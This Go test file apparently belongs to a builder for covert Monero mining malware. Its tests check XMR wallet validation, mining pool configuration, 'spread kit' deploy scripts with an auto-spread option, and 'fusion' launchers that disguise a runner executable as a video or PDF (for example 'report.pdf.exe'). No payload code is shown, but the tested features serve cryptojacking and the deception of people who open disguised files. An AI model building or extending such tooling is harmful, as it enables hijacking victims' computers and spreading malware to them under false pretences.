package builder

import (
	"strings"
	"testing"
)

func TestLooksLikeXMRWalletValid(t *testing.T) {
	addr := "4" + strings.Repeat("A", 94)
	if !looksLikeXMRWallet(addr) {
		t.Fatal("expected valid wallet")
	}
}

func TestLooksLikeXMRWalletTooShort(t *testing.T) {
	if looksLikeXMRWallet("4abc") {
		t.Fatal("too short should fail")
	}
}

func TestLooksLikeXMRWalletWrongPrefix(t *testing.T) {
	addr := "8" + strings.Repeat("A", 94)
	if looksLikeXMRWallet(addr) {
		t.Fatal("wrong prefix should fail")
	}
}

func TestLooksLikeXMRWalletInvalidChar(t *testing.T) {
	addr := "4" + strings.Repeat("A", 93) + "@"
	if looksLikeXMRWallet(addr) {
		t.Fatal("invalid char should fail")
	}
}

func TestFormatGoStringSlice(t *testing.T) {
	if formatGoStringSlice(nil) != "nil" {
		t.Fatal("nil slice")
	}
	if formatGoStringSlice([]string{"", "  "}) != "nil" {
		t.Fatal("empty strings trimmed away")
	}
	got := formatGoStringSlice([]string{"http://a", "http://b"})
	if !strings.Contains(got, "http://a") || !strings.Contains(got, "http://b") {
		t.Fatalf("got %q", got)
	}
}

func TestFormatGoBackupPools(t *testing.T) {
	if formatGoBackupPools(nil) != "nil" {
		t.Fatal("nil pools")
	}
	got := formatGoBackupPools([]BackupPool{{Host: "pool.example.com", Port: 4444, TLS: true}})
	if !strings.Contains(got, "pool.example.com") {
		t.Fatalf("got %q", got)
	}
	emptyPass := formatGoBackupPools([]BackupPool{{Host: "x", Port: 1}})
	if !strings.Contains(emptyPass, `"x"`) {
		t.Fatalf("default pass: %q", emptyPass)
	}
}

func TestFormatBytes(t *testing.T) {
	if formatBytes(512) != "512 B" {
		t.Fatalf("bytes: %q", formatBytes(512))
	}
	if formatBytes(2048) != "2.00 KB" {
		t.Fatalf("KB: %q", formatBytes(2048))
	}
	if formatBytes(1024*1024) != "1.00 MB" {
		t.Fatalf("MB: %q", formatBytes(1024*1024))
	}
}

func TestIsFusionPayloadExt(t *testing.T) {
	if !isFusionPayloadExt("clip.mkv") {
		t.Fatal("mkv should be accepted")
	}
	if isFusionPayloadExt("noext") {
		t.Fatal("no extension should fail")
	}
	if isFusionPayloadExt(".") {
		t.Fatal("dot-only should fail")
	}
}

func TestFileSizeNil(t *testing.T) {
	if fileSize(nil) != 0 {
		t.Fatal("nil FileInfo should be 0")
	}
}

func TestRunnerNameForPlatform(t *testing.T) {
	if runnerNameForPlatform(BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) != "runner.exe" {
		t.Fatal("windows runner name")
	}
	if runnerNameForPlatform(BuildPlatform{GOOS: "linux", GOARCH: "amd64"}) != "runner" {
		t.Fatal("linux runner name")
	}
}

func TestTruncateWallet(t *testing.T) {
	if truncateWallet("short") != "short" {
		t.Fatal("short wallet unchanged")
	}
	long := strings.Repeat("4", 95)
	if len(truncateWallet(long)) != 16 {
		t.Fatalf("truncated to 16 chars, got %d", len(truncateWallet(long)))
	}
}

func TestSpreadKitDeployScriptsNonEmpty(t *testing.T) {
	for name, fn := range map[string]func() string{
		"sh":  spreadKitDeploySh,
		"bat": spreadKitDeployBat,
		"vbs": spreadKitDeployVbs,
		"cmd": spreadKitStartCommand,
	} {
		if s := fn(); len(s) < 20 {
			t.Fatalf("%s script too short", name)
		}
	}
}

func TestFormatSpreadKitReadme(t *testing.T) {
	req := &BuildRequest{WorkerName: "pc-1", ServerURL: "http://127.0.0.1:8989"}
	s := formatSpreadKitReadme(req)
	if !strings.Contains(s, "pc-1") || !strings.Contains(s, "127.0.0.1") {
		t.Fatalf("readme: %q", s)
	}
}

func TestFormatSpreadKitOperator(t *testing.T) {
	req := &BuildRequest{
		WorkerName: "pc-1", ServerURL: "http://x", PoolHost: "pool", PoolPort: 3333,
		Wallet: strings.Repeat("4", 95), AutoSpread: true,
	}
	s := formatSpreadKitOperator(req, "build-id")
	if !strings.Contains(s, "build-id") || !strings.Contains(s, "pool:3333") {
		t.Fatalf("operator: %q", s)
	}
}

func TestFusionUniversalStartScripts(t *testing.T) {
	sh := fusionUniversalStartSh("movie.mp4")
	if !strings.Contains(sh, "movie-runner") {
		t.Fatalf("start.sh: %q", sh)
	}
	bat := fusionUniversalStartBat("report.pdf")
	if !strings.Contains(bat, "report.pdf.exe") {
		t.Fatalf("start.bat: %q", bat)
	}
	if cmd := fusionUniversalStartCommand(); !strings.Contains(cmd, "start.sh") {
		t.Fatalf("start.command: %q", cmd)
	}
}

func TestShouldSignBuildDisabled(t *testing.T) {
	h := &Handler{policy: BuildPolicy{Sign: SignPolicy{Enabled: false}}}
	if h.shouldSignBuild(&BuildRequest{SignBuild: true}) {
		t.Fatal("signing disabled in policy")
	}
}

func TestShouldSignBuildNoRequestFlag(t *testing.T) {
	h := &Handler{policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "abc"}}}
	if h.shouldSignBuild(&BuildRequest{SignBuild: false}) {
		t.Fatal("SignBuild flag required")
	}
}

func TestBuildExtraFilesFromArtifacts(t *testing.T) {
	if got := buildExtraFilesFromArtifacts(nil); got != nil {
		t.Fatalf("nil input should return nil, got %+v", got)
	}
	if got := buildExtraFilesFromArtifacts([]BuildArtifactFile{}); got != nil {
		t.Fatalf("empty slice should return nil, got %+v", got)
	}
	arts := []BuildArtifactFile{
		{FileName: "readme.txt", FilePath: "/tmp/readme.txt"},
		{FileName: "runner.exe", FilePath: "/tmp/runner.exe"},
	}
	got := buildExtraFilesFromArtifacts(arts)
	if len(got) != 2 {
		t.Fatalf("expected 2 extras, got %d", len(got))
	}
	if got[0].FileName != "readme.txt" || got[0].FilePath != "/tmp/readme.txt" {
		t.Fatalf("first artifact: %+v", got[0])
	}
}

func TestFusionUniversalStartShBareExtension(t *testing.T) {
	sh := fusionUniversalStartSh(".pdf")
	if !strings.Contains(sh, "-runner") {
		t.Fatalf("expected runner suffix in script: %q", sh)
	}
}
